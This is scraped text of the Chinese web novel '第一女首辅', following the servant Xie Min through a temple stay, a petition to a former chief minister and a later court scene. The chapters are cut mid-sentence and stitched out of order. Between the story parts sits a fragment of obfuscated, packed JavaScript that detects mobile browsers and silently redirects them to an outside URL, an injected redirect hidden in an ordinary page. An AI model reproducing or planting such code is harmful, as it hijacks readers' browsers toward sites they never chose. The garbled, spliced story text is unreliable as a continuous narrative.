秦悦原想说一个词骂她,可是想了半天都想不出来,这时,秦照掀开帘子,伸手再她脑袋上轻轻敲了一下,笑道:“说什么呢,为兄平日是这样教你的吗?” “哼!”秦悦不满地瞪了眼前二人一眼,便叫来张嬷嬷,让她抱自己下去,落地后,又对婉儿说:“母亲不让你同他一起,我今儿回去就告诉母亲,你不听她的话,哼!”说完,便进了寺庙,张嬷嬷赶紧跟上去。 “你!”婉儿心里急,怕表哥因此又受到大娘子责罚,当即便泪眼汪汪地看着秦照。 秦照依旧是一副和眉善目的模样,对她说:“婉儿,不要在意,你四妹妹开玩笑呢,快些进去吧。” “噢,谢谢哥哥。”婉儿并不开心,因为她知道四妹妹一定会在大娘子面前说。 谢旻见她满脸沮丧,感动之余有些心酸,便安慰道:“婉儿,表哥如今就住在这寺院了,大娘子罚不到我的。” “对噢,婉儿都忘记了以后表哥要住在这里的,那我可以经常到这来找表哥吗?” 谢旻牵起她的手,边走边道:“只要婉儿每天开开心心,乖乖听话,那很快就可以见到表哥。” “嗯!婉儿听表哥的话。” “婉儿真乖。” 几人跟在秦照身后,沿着蜿蜒下路拾街而上,未走几步,视野便开阔了许多。 寺内矗立几颗参天大树,绿意盎然,三尊香炉赫然屹立其中,原本正值盛夏,几缕阳光透过树叶,恰逢落在香炉前池塘里的铜龟上,熠熠生辉,此番景象,倒是让人心静不少,连带身上那股热意也消散不见。 只是,有些奇怪,谢旻环顾四周,只见上香求愿之人寥寥无几,但明明方才路上见许多人赶来这上香,为何进了这寺,反而人都不见了? 她跟着大公子进了 15. 京云寺(下) 《第一女首辅》全本免费阅读 张嬷嬷连忙示意两位小姐不要说话。但这些话早已入了众人耳,周淙闻此便说:“你可要好好改改这性子,不然以后没有女孩子会喜欢你的,听话,就在此处,不要乱跑,为兄去去便来。” 不等周小公子说话,他便同秦照二人谈笑离去。 周小公子目睹哥哥离去,站在原地不知所措,张嬷嬷便对他说:“小公子请这边入坐,品品茶也是好的。” 他低着头,不说话,慢慢走到石桌面前,一动不动地坐着。谢旻给他倒了一杯茶,他喝了一口便放下。 秦悦忍不住笑出声来,说:“你真胆小,我们又不会吃了你。” 小男孩的头更低了。 “四小姐!不可。”张嬷嬷再次警告她,这大理寺卿之职可是正三品官员,府中嫡次子岂能容她随意开玩笑的,若是被主君大娘子知道了,那还得了。但年纪小的秦悦如何知道这些,只觉得这里一点意思也没有,于是便起身往外走。 张嬷嬷连忙拦住她,道:“四小姐,大公子嘱咐过,不可离开此处。” “不,这里不好玩,我要去别处。” 张嬷嬷摇头。 但秦悦不管她同意不同意,反正她不要再待在这,于是便提起裙子往左边跑去。张嬷嬷心道不好,两手一拍大腿,连忙追了上去。 婉儿和谢旻两人大眼瞪小眼,忍不住捂嘴笑了起来,结果旁边的周小公子以为是在笑自己,他想去找哥哥,但是又怕,一时之间不知怎么办,竟急得小声哭了出来。 她们二人连忙止住了笑声,谢旻上前道:“小公子,您别误会,我们二人没有任何不敬之意。” 婉儿拿出帕子递给他,说:“你别哭,这里没有坏人。” 周小公子抬眸看了婉儿一眼,摇了摇头,支支吾吾道:“母亲……说,不能……随便拿女孩子的东西。” 婉儿想了想,说:“那我帮你擦,就不算你拿我东西了,我以前也是这么帮小世……” “婉儿!”谢旻立即出声吓止住了她,严肃地摇了摇头。 婉儿悻悻收回了自己的帕子。 周岘见此,自己用小手擦干了眼泪,对她说了句:“谢谢。” 三人相顾无言。 忽然,周小公子感觉有人碰了碰自己袖子,抬头便对上婉儿那双圆溜溜的大眼,顿时就红了脸,连忙垂眸不敢再看。婉儿又碰了碰他的衣袖,道:“你现在嘴里肯定是苦的对不对?” 周小公子缓缓抬眼,带着一丝疑惑。 “你再喝一口这个茶就不苦了,这是真的,我不骗你。” 周岘仍是一脸疑惑。见他不喝,婉儿又说:“我哥哥说,这个茶第一口喝下去就苦,再喝一口就是甜的,方才你只喝了一口,所以你现在嘴里肯定是苦的,只要你再喝一口,就甜了,甜了你就不会哭了。”她说完,还仰起头看着谢旻,说:“表哥,婉儿说得对不对?” 那语气和神情,像是再等着谢旻表扬。谢旻宠溺地笑了笑,道:“是,婉儿说得没错。” 周小公子似懂非懂,但还是端起面前的茶杯,小心翼翼地抿了一口,又添了添唇珠上的水渍,眼睛闪了闪,似乎觉得有些诧异,喉咙处确实有一股甘甜之味。 “如何?没骗你吧。” 周小公子认真的点了点头,整个人放松了许多。 婉儿得意地笑了。谢旻看到这一幕,心中甚暖,她抬头看看天,太阳毒辣得紧,想必是快到未时了。 周小公子摇摇头,端坐着,也不似方才那般拘谨不安了,他再次拿起茶杯想要喝口茶时,却见婉儿正盯着自己。 他赶紧摸了摸自己脸,神情慌张,问:“我……可是脸上有……有脏东西?” 婉儿摇头,托着脸笑道:“你方才说了好多话,真厉害!” 周小公子肉眼可见地脸红了,支支吾吾半天说不出话来,所幸不停地喝着茶,但却是尝不出这茶是何味道了。 他从未想过,原来说话,也可以被夸赞“厉害”。 一旁的谢旻低头沉思了一番,决定乘着其他人都不在,先去那狸庙处看看,但她也不能将这两个孩子单独留在此处,那只能带他们二人一同前去,也不待多久,看上两眼便带人回来。 她摸了摸自己怀中的三支签,那颗菩提树究竟在哪? “我知道。” 谢旻回过头,突然意识到自己不小心将这句话说了出来,心里却诧异于这位周小公子如何会知道。 婉儿起身,走到她面前,问:“表哥,你要找一颗树?找树做什么?是要爬上去吗?” 谢旻来不知道怎么解释,便直接问周小公子:“小公子,你可见过?” 周岘点头,随后往后院右门一指,道:“出了那扇门,左边有一条小路通往后山,后山山腰处有一座狸庙,那庙旁边就长着一颗菩提树。” “敢问小公子是如何知道的,可是去过?” 周小公子摇摇头,道:“哥哥便是带我从那上山来的。” 一个官家子弟,入寺烧香为何不走大门,偏偏要从小道上来,难不成仅仅是觉得好玩?那周大公子虽有不羁之姿,但不像是个纨绔子弟,否则公子也不会同他交好。 “为何不走大门呢?”她问。 周小公子解释道:“哥哥说,大门这边人多,若从那边上山不仅近,而且不用人挤着人。” 谢旻点头,“多谢小公子。”随即她又问婉儿:“婉儿,想不想去那狸庙看看?” 婉儿立马来了精神,毫不犹豫答道:“想!” “好,那表哥带你去。”说完,她又看着周岘,问道:“周小公子,可否为我们二人带下路?” 周小公子有些为难,哥哥说过要自己在这里等他的,可是,他抬头看见婉儿一脸期待的模样,便攒住衣角,点点头答应了。 此时寺庙僧人都在忙着招待香客,没有人注意到他们三人悄悄推开那扇不起眼的小门。 京云寺后山并没有特别之处,只是通往山腰的小路有些崎岖,谢旻走在最后面,两只手半浮着,以便护着前面两个小孩。临近狸庙,她回过头俯视下方,只觉得这山原比想象中的还要高些。 “到了,就是那。” 周小公子的声音将她拉回思绪,此时三人距狸庙不过三米,她顺着周岘指的方向看过去,只见一座又破又小的庙,那庙是由土石块堆积而成的,终日曝晒于这半山腰,已成残垣断壁,那庙中摆放着一只狸猫像,浑身沾满了陈泥,若不是几缕阳光透过破碎的瓦片照在那狸猫身上从而散发出星星点点的亮色,似乎很难发现那是用瓷器烧制而成,只不过那瓷像上布满了裂痕。 顺着破庙,谢旻抬头看着旁边那颗高大的菩提树,心想,这庙应是得益于这颗菩提树遮挡了一半的风雨,才不至于倒塌。只是,明明前也是庙,后也是庙,京云寺香火茂盛,何为不派人将这小庙修缮一下。还有,旁边这颗菩提树,看起来,爬倒是好爬。她从怀里拿出那三支竹签,在空中比划了一下,想着挂哪个位置好。 “表哥,你手里的,是什么?”婉儿见她手中那三支签,觉得新奇得很,但又像是在哪里见过。 周小公子也忍不住心中好奇,看着她手上的东西,缓缓说:“像庙里的签。” 谢旻很快便将签收了起来,点头道:“差不多吧。”这说她昨天连夜做的,听说只要将竹签挂到寺院的菩提树上,就会灵验许多。 “那表哥许愿了吗?”婉儿问。 “当然许了,不过不能说出来,说出来就不灵了,行了,我们回去吧,周小公子,今日谢谢你了。” “谢谢小哥哥!” 周小公子又不争气地红了脸,支支吾吾回道:“不……不客气。” 下山之时,谢旻照旧走在后面,周小公子时不时回过头小声提醒婉儿小心些走。 临近申时,张嬷嬷带着两位小姐回宅,婉儿趴在马车上泪眼婆娑,被秦悦嘲笑了一番。 谢旻望着越走越远的马车,心里一阵不舍,她回头看着身后的寺院,这里即将是她要住三年的地方。 “谢旻,快来帮公子收拾东西!”春和的叫喊声将她思绪拉回。 “来了。” 寺院的生活确实清贫,但秦大公子却是比在家还要刻苦,从未抱怨过一句,谢旻时时刻刻守在门外,趁着春和不在之时,她从怀里掏出书本读了一遍又一遍。 除夕前夜,大娘子命人带了许多物品,柳姨娘买通了运送的家仆,将自己赶制的衣物、木荷糕以及一小箱子书籍一同送去。谢旻接到姨母送的东西之时,寺外正漫天大雪,额前的碎发被寒风吹得凌乱,她红了眼眶。 冬去春来,秦大公子依旧十分认真,不敢有一丝懈怠。春和在下山采买物资之时 16. 定秋风(上) 《第一女首辅》全本免费阅读 明宣四年六月初,当朝首辅程暮奏请圣上主动辞官,这一举动震惊朝野。 当春和把这个消息说与谢旻听的时候,屋子里的秦大公子听闻立马起身,只见他推开窗,满脸震惊,不可思议地问:“你说的可是真的?” 春和与谢旻二人迅速起身,春和再次确认:“城里上上下下都传遍了,不会有错的。” 谢旻不知道为何大公子对此反应会如此激烈,便斗胆一问:“公子平日里对这些消息无甚在意,今日....” 秦照满脸叹息,摇摇头,道:“你有所不知,这首辅程暮程大人,状元出身,三朝帝师,若是只次的话也就罢了,最主要的是他不仅仅是帝师。他曾游历九州,致经讲学,自己出资开办学堂,惠及天下学子,如今这朝中一半官员都曾今出自他的门下。可如今,圣上年幼,他自是再尽帝师之责,如今怎会主动辞官?只当其中有所隐情。”说完,他连忙提笔写信,写完后将信交给春和,让他立刻回家交给父亲。 谢旻看着大公子急切的模样,不禁在心里想,这程首辅当真这般厉害?她抬头看着公子房里挂着的孔圣人画像,莫非他是圣人投胎转世? 两个时辰后,春和带着秦监副的回信回来了。秦照迫不急待地打开,映入眼帘的却是让他腿软的一句话:【孽畜,秋闱临近,还在为这等事分心,若是今年再不中,你且就地剃发为僧,永不进家门。】 秦照看完背后一阵发凉,连忙回去温书。 春和和谢旻捂嘴偷笑,不用看信的内容也知道,大公子定然又被主君骂了。 闹剧过后,谢旻半夜躺在床上,思索着自己后面的路要怎么走,秦宅定然不是长久之地,如若是要想去参加科考,身份这关过不了。眼下之际,唯有真才实学折服他人,才能削弱别人对于自己身份的猜忌。 乡试前夕,春和与谢旻早早地收拾好了东西,秦监副和秦大娘子亲自来到京云寺准备将人接回去。 一别三年,饶是秦监副每日骂他,见到自己儿子的那一瞬间也是感概万千,在大娘子抱着秦照痛哭流涕之时,他湿润了眼睛,伸手拍了拍秦照肩旁,感概道:“都说寺院日子清贫,怎么我瞧着你越发胖了?” 大娘子被他这句逗笑了,“主君说得什么话,难不成叫我儿瘦成竹竿儿你才满意?” “一看就知道你偷偷砸进去不少银子。” “那寺院见不得荤腥,若我再不想法子,他哪还有力气读书。” 从寺院到秦宅,两人一直在争吵,秦照满脸无奈,早知道还不如继续待在寺院,至少安静。 还没到秦宅大门,谢旻就远远瞧见柳姨娘等一行人在门口等待。三年未见,她鼻子有些酸,看着姨母慈祥的笑容,一阵恍然,猛然落下两滴泪来。 待马车停下,众人相互寒暄了几句,柳姨娘看着谢旻,红了眼眶,但来不及同她说话,便被大娘子叫去收拾东西。等人都进去后,谢旻走在最后一个,走着走着突然发现自己的衣袖被人拉住,她回头一看,眼里倒映出了婉儿那张满是笑意的脸。 谢旻上下打量着她,人长高了许多,脸上的稚嫩也褪去不少,唯独那双桃花眼如同小时候一般耀眼。 “表哥,你终于回来了!” 谢旻对她比了一个禁言的手势,秦监副在回程途中就吩咐过,所有人一回到宅院,先沐浴更衣,然后去祠堂祭拜祖先。虽谢旻不是秦家人,但是婉儿是,于是她压低声音说:“你先去祠堂候着。” “哦。”秦婉脸上有些失望,只能乖巧地往祠堂走去。 等祭祀完成后,紧接着又是家宴。谢旻跟着老管家忙上忙下,直到半夜才有机会回房歇息,也没机会同柳姨娘说上话。 翌日,秦监副和大娘子亲自送秦照去贡院,谢旻自然也是要跟着。 乡试共九天六夜,现下这里多是参加考试的读书人,附近的客栈、酒肆等场所生意红火,到了晚上更是灯火通明。在贡院大门口,秦监副千叮咛万嘱咐,大娘子在一旁摸起了泪水,秦照从谢旻手里接过书箱,示意他们放心,随后从容大步地进贡院。 秦照前脚刚进去,后脚这天就开始下雨,且有越下越大的趋势,秦监副连忙带着大娘子进马车躲雨。谢旻站在外面,她听见马车里的大娘子一声又一声担忧。 秦监副被她吵得心烦,他掀开帘子,看见谢旻跟在马车后,便道:“你且先找个地方躲雨,等雨小了再回宅子也无妨。” “是,多谢主君。” 等马车走远,她环顾四周,见左后方有一家客栈,于是用手遮住脑袋跑过去躲雨,哪想到地面湿滑,她跑得太快,整个人“砰!”地一声直接撞在客栈前的柱子上,周围人见此哄堂大笑,客栈的小二赶忙将人扶起,笑着问:“客官是打尖还是住店?” 谢旻捂着额头站稳,脸上露出一丝羞愧,说:“我是来借此地躲雨。” “当然可以,公子请便。”小儿笑着回答。 “多谢。”谢旻一边揉着自己的额头,一边整理衣服,心想着这雨何时才会停。 客栈门前的马车来来往往,还有不少撑伞的行人,谢旻倚靠在角落,盯着屋檐看。 “吁....”一辆马车停在客栈门前,店内的小二闻声,连忙跑出来迎接。 马车先是下来一名家仆,那家仆打开伞,撑在马车旁,等待着这马车主人下来。 谢旻顺势看过去,想看看马车里是什么人,但等了好一会儿也不见马车上的人下来。 此时,不止谢旻在观望,连同客栈里的人全都往这看。 今日乡试开考,贡院附近的客栈除了南来北往的商人,最主要的就是来考试的读书人,但贡院大门早已关闭,眼前这马车的人要不是就是商人,要不就是京外的显贵之家。 屋檐下的雨滴答滴答地落在地上,随着马儿一声轻微的叫喊,谢旻看见那马车门帘被缓缓掀开,一个温润如玉的公子哥儿出现在众人面前,腰间的玉佩相互碰撞着,发出清脆的声响,他伸手拿过家仆的伞,步伐姿态从容走进了客栈。 谢旻回过头,看那两人的穿着与配饰,显然不是这京城之人,像是从江南省来的。 见雨快停了,她便起身准备回秦宅,刚走出两步,就听见身后传来众人交谈声:“听说了吗?程府要开门客令了,为期三年。” 谢旻一听,又将脚缩了回去,竖起耳朵仔细听着他们交谈。 “程大人自从辞官后就开始准备这件事,说是只有六人能入选。” “全天底下那么多读书人,只有六人?” “不错,听说只要写呈送一封拜帖和一篇文章,文章题材不限,那程大人若是看上了,就是被选中。” “若是能得程大人亲自教导,想必高中指日可待。” “那是自然,就算没有高中,也是满门的荣耀啊。” “听说乡试结束后,程府就不再接受拜帖了。” “是吗?那我得赶快写一封送过去。” 听着他们所谈之事,她想起了那日大公子口中的程大人,状元出身,三朝帝师,天下人的读书人的楷模,这些词无论哪一个都是常人可能一辈子都无法达到的高度,也难怪这些人削尖了脑袋都想进去。 这时,一个想法从谢旻脑海中闪过,她连忙往秦宅跑,还剩不到十天的时间,如今大公子在贡院,想必这些天大娘子忙着烧香拜佛也没空管自己。 回到秦宅后的三天里,白天她边干活边在脑中冥想,晚上便挑灯写文章。柳姨娘见她这般举动,心中了然,于是特意嘱咐秦婉这几天都不准去打搅她。 乡试第一场结束后,秦照回到家与父母亲论起考试,第一场无非是四书与五经的内容,这也是三场之中最为简单的一场。 谢旻竖起耳朵听得认真,等秦照回院子后,她又问了他许多问题,秦照向来是个性子好,对她的问题一一作了详细解答,后面第二场亦是如此。 今年秋闱第三场在十五日傍晚就开始放第一碑。秦监副与大娘子带着三个孩子早早地在就在贡院门口候着,等着秦照出来一同回去过中秋。 谢旻站在人群后面左顾右盼,她想趁着他们不注意前去程府送拜帖,若是今日不送,她便再无机会了。 一旁的秦婉注意到自家表哥有些心不在焉,便悄悄挪到她身边小声问:“表哥,你是不是身体不适?” 谢旻摇头。 秦婉眼珠转了转,她见表哥明显是有心事的样子,怕是父亲在场不好说罢了,于是她走到父亲面前,掩嘴耳语了几句,一旁的秦悦见此鄙夷的笑了一声,但这却被秦监副骂了,回头发觉秦览不知什么时候又不见了,顿时脸黑了 17. 定秋风(下) 《第一女首辅》全本免费阅读 身后的秦婉紧张地为自己表哥捏了一把汗。 谢旻心里也有些忐忑,她不知道自己这一步是否能顺利将自己的拜帖送进去。 良久,那两侍卫上前接过她手中的拜帖,满脸欣慰,“你是正午后第一个拜帖通过的人。如你所见,这是我家先生故意出的考题,也算是对你们这些喜欢踩着期限送拜帖的人一个小小的惩戒。在你前面差不多一百多人中,有些人一听立马就回去了,有些人死皮赖脸不肯走,还有一小部分人虽然能像你一样同我们辩上一辩,却越说越无力,唯独你自始至终不卑不亢,有理有据。” 谢旻面露诧异,没想到呈送拜帖这一件事情上也能做文章,心中越发好奇那位程大人究竟是一位怎样的人物,不过至少现在她知道了这未程大人定然不喜不守时之人。 “表哥!你成功了!真厉害!”秦婉提着裙子跑到她面前,兴奋的模样像是她高中了一般。谢旻连忙示意她安静,随后恭恭敬敬地朝二人一揖:“多谢两位大人,今日小民受教了。” 今日这事的确给她上了一课,自己想要的东西,就必须拼尽全力去争取。 “如此甚好,不过你能不能入选,最终还要看你所写的文章,回去吧,如若半月之内没有消息,那便意味着落选。” “是。” 回贡院的路上,谢旻轻松了许多,恍然想起来,自己出来的“目的”,于是连忙带着秦婉去挑选礼物。她跟在大公子身边近四年,自然是知道他喜欢什么,无非就是墨宝一类的东西,但上等的墨宝她与秦婉自然是买不起,便只能去地摊上淘些别的小物件。这些官宦子弟,从小什么好的没见过,有时候一些寻常之物反被他们当作珍宝一般。 当然,主要原因还是她们二人手中银两不多。 谢旻因为这些年时常给大公子跑腿,再加上她也从未放弃过打听赵满的下落,早已走遍了这皇城各个角落,而秦婉作为闺秀,平时很少出门,所以她对这里的一切都感到新奇。 谢旻见她如此开心,想着以后便多带她出来看看,只望她以后不要同姨母那般,终身困在那高门大户的小院里。 正当婉儿拨弄灯鼓之时,一旁的谢旻透过缝隙,看见了前面一家书坊外站着一个少年,那少年的背影,她觉着莫名的熟悉,心里犹豫着要不要上前去瞧一眼,但这时秦婉却拉住她的袖子,转而走向一家琴坊,原因无他,只是因为秦婉看见了大理寺少卿次子周岘。 周岘正在那仔细挑选,听闻有人叫自己,回头就看见了秦婉,他心里顿时莫名的紧张,手都不知道往哪儿摆。 “秦姑娘,谢公子。”他朝二人行了一礼。 谢旻连忙回礼,自己一介家仆,如何受大理寺少卿之子的礼,她恍然想起上次相见还是在三年前的京云寺,记得那时眼前这个少年还是个害羞的小娃娃,她瞥了一眼笑靥如花的婉儿,想来这三年,这两人后面应该是有往来。 “周小公子安!”秦婉欠身回礼。 “秦姑娘不必客气,唤我名字便好。” “那不可以,母亲说过,礼不可废,不可以随意直呼人名,婉儿说得对不对,表哥?” 谢旻点点头,称赞道:“当然。” 秦婉得到了夸赞,一脸满足。 但谢旻确实好奇中秋佳节,为何会在这小地方遇见周小公子,于是她便直言不讳地问出来了,周岘坦言:“我自小喜爱琴乐,听闻这家琴坊制琴技艺精湛,便过来看看。你们呢?” “我家大哥哥今日下考,我和表哥特意来这里挑选礼物,以此献给大哥哥,望他这次一举高中。” “原是如此,秦姑娘所愿定会实现的。” “多谢周小公子!那我和表哥不打搅你选琴啦,再见!”说完,秦她的目光又被别处吸引了过去,谢旻见此,连忙朝周岘行礼道:“眼看贡院也快要放碑了,我们也该回去了,小公子多有叨扰。” 周岘连忙将目光从不远处的秦婉身上离开,回礼道:“不打搅,不打搅的。” 等二人走远,周岘旁边的随从伸手在自家公子眼前晃了晃,无奈道:“二公子,人都走远了,您还看,天色不早了,老爷和夫人还等着公子回去呢。” 周岘悻悻手回目光,二话不说就买了方才看上的琴,小心翼翼地抱回家去,一路上心情大好。 这边谢旻带着秦婉逛了一会儿,等她返回去找那个身影的时候,人早已经不见了。她只得尽快挑一份礼物,然后回贡院。 酉时初,贡院大门打开,第一批学子陆陆续续走出来,谢旻见他们个个疲惫不堪,但脸上都挂着笑。秦照是倒数第四个出来的,大娘子一见着人就忍不住抱着他抽泣,秦监副虽然觉得这她这般在大庭广众之下哭哭啼啼的行为不妥,但难得没有开口训斥,只是拍了拍秦照肩膀,问道:“这次可有把握?” 秦照心里当然没有把握此次能一举高中,但是面对父亲,他只能信誓旦旦回道:“父亲放心,这次我一定能高中。”所幸离放榜还有一段时日,能高兴几天是几天。 秦监副听后大喜,想来这次是真的有望有能中,于是一家人高高兴兴地回家过中秋去了。 当天夜里,柳姨娘趁着主君和大娘子难得吃醉了酒早早地歇下了,带着谢旻来到自己的小院子,随后从衣柜里拿出一套衣服让她试试。 谢旻不明所以,但还是穿上了衣服,这与她平时所穿的家仆衣物截然不同,这是显然是读书人所穿的圆领长袍。 柳姨娘仔细打量了一番,这才是她姐姐的孩子应有的模样,忍不住红着眼眶说:“婉儿今日一回府就同我说了,程府接了你的拜帖对不对?” 谢旻心想婉儿还真是热心肠,当然她也不想瞒着姨母,便实话实说:“姨母,虽然程府接了拜帖,但是我未必最后能选中,听闻其中有好几个举人,再不济就是秀才,我年纪小,读过的书,走过的路,长的见识,恐不及别人三分,并非我自卑,而是此事希望渺茫。恐怕最后要辜负姨母你为我缝制的这套衣服了。” 柳姨娘拉着她坐下,语重心长地说:“姨母不如你书读得多,但是我觉得那位程大人有意考验你们,而你又是第一个通过考验的人,或许那程大人就觉得你不一样。说来也不是姨母自请邀功,当年你救过当今圣上的命,姨母相信这份福泽始终会照耀着你。” 谢旻见姨母言语如此恳切,也不好再说什么,只道:“尽人事,听天命。” 接下来十几天里,谢旻不再刻意去关注程府,而是再次掏出陈秀才赠给她的那本书,反复研读。也确实,这十几天来,的确没有任何消息,不知不觉中,迎来了张贴桂榜的日子。 这一次,秦监判决定亲自去看榜,命令其他人都在宅子里等消息,原本秦照这几天就没吃好睡好,听见这个消息他险些昏倒。 一家人聚集在前厅焦急地等待着,这次秦览难得没有偷溜出去,但实际情况是他昨儿被秦监副打了一顿,如今背上的伤还没养好,否则他就是这宅子里第一个知道结果的人。 现下已经燃过了好几柱香,但秦监副依然没回来,也没派人先行回来通报,秦照是坐立难安,心都跳到了嗓子眼,大娘子见他这副模样,也是焦虑得不行。 好在终于第六柱香燃到一半之时,门外传来了动静,一名小厮跑进来通传说主君回来了。 秦照连忙问:“父亲说什么了?是何反应?” 那小厮还没来得及回话,秦监副就大步走了进来,秦照一时之间有些心虚,不敢抬头。大娘子见状立刻询问结果,然而秦监副依旧不紧不慢,脸上也没什么表情,走到椅子上便坐下喝茶。 大娘子看不出这到底是中了还是没中,于是她转身询问后面跟着回来的老管家,但老管家微微弓着腰,沉默不语,她心里一凉,看这阵势,怕是没中。 秦照更是害怕得不行,他“扑通!”一声跪在秦监副面前:“孩儿无颜,愧对父亲母亲,愧对秦家列祖列祖,还请父亲责罚!” 谢旻与春和跟着去寺院三年,大公子没中,所以他们二人自是有错,只能跟着跪下。 柳姨娘心一紧,唯恐主君会责罚谢旻。 秦监副见他胆战心惊的样子,也不好再卖关子,便对大娘子说:“你明日多准备些香火钱捐给京云寺。” 大娘子忐忑不安,支支吾吾询问:“主君莫不是又要送照儿去寺院?” “没错。” 大娘子听后两眼一黑,这岂不是又要阔别三年,这下还能如何忍受,连忙下跪求情:“主君三思啊!”。 一时之间在场所有人都跟在大娘子身后下跪,唯独秦览。 不过此刻的秦监副眼里早就没了这个儿子的存在,他看了看秦照,又看了看谢旻,叹道:“寺院是个好地方。” 这话一出,谢旻心里的石头落了地。 果不其然下一刻,秦监副起身走到秦照身边,将他扶起,嘱咐道:“赶紧收拾好东西去寺院,准备会试。” 秦照瞳孔放大,似乎不可置信,嘴里呢喃道:“会试.......会试?”反应过来之时,他抱着秦监副大喊:“父亲!我中了?我中了是不是?” 这次秦监副直接回答他:“是,你中了,八十四名。” 秦照眼泪夺眶而出,与大娘子二人相互抱头痛哭,秦监副见状当即遣走了下人,哭哭啼啼像什么样子。 秦悦第一个跑上前去恭贺,柳姨娘便示意婉儿也去,始终坐着的秦览也起身,道了一句:“大哥,恭喜了。” 秦照望着自己的弟弟妹妹们,什么话都说不出来了,只是频频点头。 就在众人沉浸在喜悦之中时,秦监副却将目光转移到谢旻身上,他看着她,恍若隔世,几年前刚来这宅子的时候像个炸了毛的小猫,如今回头一看,在不知不觉中已然长成了一个翩翩少年郎。 这谢旻平时在院子里话不多,想来颇受照儿喜欢,不然也不会让他跟着去寺院服侍,没想到,如今才十五岁,竟有如此能耐,想来,是个人物。既如此,自己又怎能不好好利用一番,将来好为照儿的前程铺路。 “谢旻,你来一趟书房。” 谢旻听闻主君叫自己,有些疑惑,自她来秦宅,主君从未单独找过自己,但心中没有半点慌张,毕竟如今大公子中举,想来,主君应该不会责罚自己。 秦宅书房内,秦监副背对着谢旻负手而立,但半炷香的时间过去了,也没见他说什么事,谢旻忍不住先开了口:“主君,是有何吩咐?” 秦监副冷声道:“跪下。” 谢旻眉头紧蹙,跪在地上。 秦监副转过身,见她腰杆挺得笔直,不自觉语气又加重了些:“谢旻,你可有事瞒着本大人?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12331309|122943||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账目你也没查仔细,不光国子监要查,还要前往户部查。”说到户部,他声音放轻了些,问:“户部的人是不是明里暗里阻挠过?” 郑茂林无奈地点了点头。 高子纶叹了口气,对周衍道:“涣之,这件案子陛下交由我们刑部处理,你还是别牵扯进来的为好。” “非也,大理寺有审核之责,又如何置身事外?”说着,他目光如炬,续道:“不过现在查不查都不重要了,那掌馔犯了天子大忌,吕公公之意,便是将他定下贪污之罪,移送诏狱,由北镇抚司接手,一来给那帮闹事学子一个交代,二来平息坊间传闻。” 高子纶点头,随即目光一冷,看向身边这个自己一手提拔上来的年轻人,肃道:“听明白了吗?” 郑茂林连连称是,立即伸手朝周衍作揖:“多谢周大人赐教。” 周衍面容缓和了许多,扶起他,对高子纶道:“茂林还年轻,好歹也是进士出身,你不必对他太过苛责,将来见得多了,自是有长进。” “你不必替他说话,进士出身又如何,真遇上事的时候,一无所知。” 周衍哈哈大笑,伸手怕了拍低着头的郑茂林,安慰道:“别放在心上,你老师刀子嘴豆腐心,你可比我家那逆子强多了。” 说起这个,高子纶想起方才在内堂听审时那掌馔说工部尚书之子与大理寺少卿之子前往大牢探望过那名叫谢旻的太学生,他昨日才从山西赶回来,还没仔细翻阅刑部司狱案宗,便问:“令公子和那太学生谢旻可是认识?” “唉,说起这事,我气就不打一处来,家中那逆子唤袁家独子袁浣山一声堂兄,两人自小一处玩,那谢旻当初同与袁家独子在京郊园读书,想必是那时交了好,所以我那逆子也就认识了,想必这次买通狱卒之事定然是跟着那袁浣山干的。”说着,他语气一变,又露出一些赏识的意味:“不过,说起来那太学生谢旻确实是个难得的人才,方才在堂上那份处变不惊的气度,恐怕同龄人之中,再难寻一二。” 高子纶捋了捋胡须,点头道:“先前对此人便早有耳闻,今日堂上一见,确实是个人才,只不过这样的人才,入了国子监,实在是可惜了,将来恐怕仕途不顺。” “我与高兄你的看法相左,我倒觉得像谢旻这样的人,通过在国子监坐监历事,反而将来能走得更长远,他若是勤奋好学,便能知科举仕子所知,学科举仕子所学,而且才华或许不在他们之下,再者,等他将来入科历事,见到的学到的,可不是那些通过正途入仕之人所能知晓的,到那时候,一个既通政务、又晓义理的谢旻与一个满脑子之乎者也的进士,你会如何选?” 高子纶看了一眼自家学生,毫不犹豫道:“那就这么说定了,到时候等那谢旻历事,我先将人挖到我刑部来。”也好让自己这个傻学生好好学一学。 “哎,高兄,怎么就说定了,我什么都没说,我还想那谢旻入我大理寺呢。” 高子纶笑道:“那就各凭本事吧,谁抢到就归谁。” “一言为定!” 听着两人谈话的郑茂林虽然刚被训诫了一顿,但他自知老师都是为自己好,眼下他听着这两人争夺那名叫谢旻的太学生,心里也不免起了好奇心,甚至还有一丝期待,方才审案时,他就看出了这人不简单,若是将来老师真的将他抢到了刑部,他自是应当与之结交。 刑部监牢里,谢旻靠在墙角,不合时宜地在那狱卒面前打了一个喷嚏,不过这也并不影响她讨债。 “我那三百两可有着落了?” 狱卒看了她一眼,做了一个封口的手势。 谢旻了然一笑,不再说话。 也对,那二十名锦衣卫还未撤走。 57. 雕笼诛鹤(一) 刑部这一查,就是半个月。 户部一名主事写了一道折子,将刑部侍郎、工部尚书以及大理寺少卿一并参到天子面前,字里行间指责这三人以查案为由,以公谋私,然而十三岁的少年天子看见这道折子也并不急着处理,过了两天,都察院一名御史又上了一道折子,直接上奏弹劾户部侍郎,提及当年李敕松一案中,户部侍郎干涉京都府衙审案。 一时之间,朝堂局势风起云涌。 这日,明宣帝带着起居注官周宥一同前往重华宫探望褚宁郡主,刚到门口,明宣帝就给了吕公公一个眼神。 吕公公立刻会意,笑着对周宥道:“周大人,奴才有一蠢儿子,尚在内书堂读书,平日里也是个好学的性子,书上有几处不懂的地方,这几日一直想不明白,不知周大人可否为他解答一二?” 周宥知道这是陛下有意支走自己,他抬眸看了一眼内殿,应了下来。 前些日子天气多变,褚宁郡主不小心染上了风寒,这会儿听闻陛下要来自己这,原想拒了他的意,但想到近来朝局不稳,她又强忍着下了床,梳洗了一番。 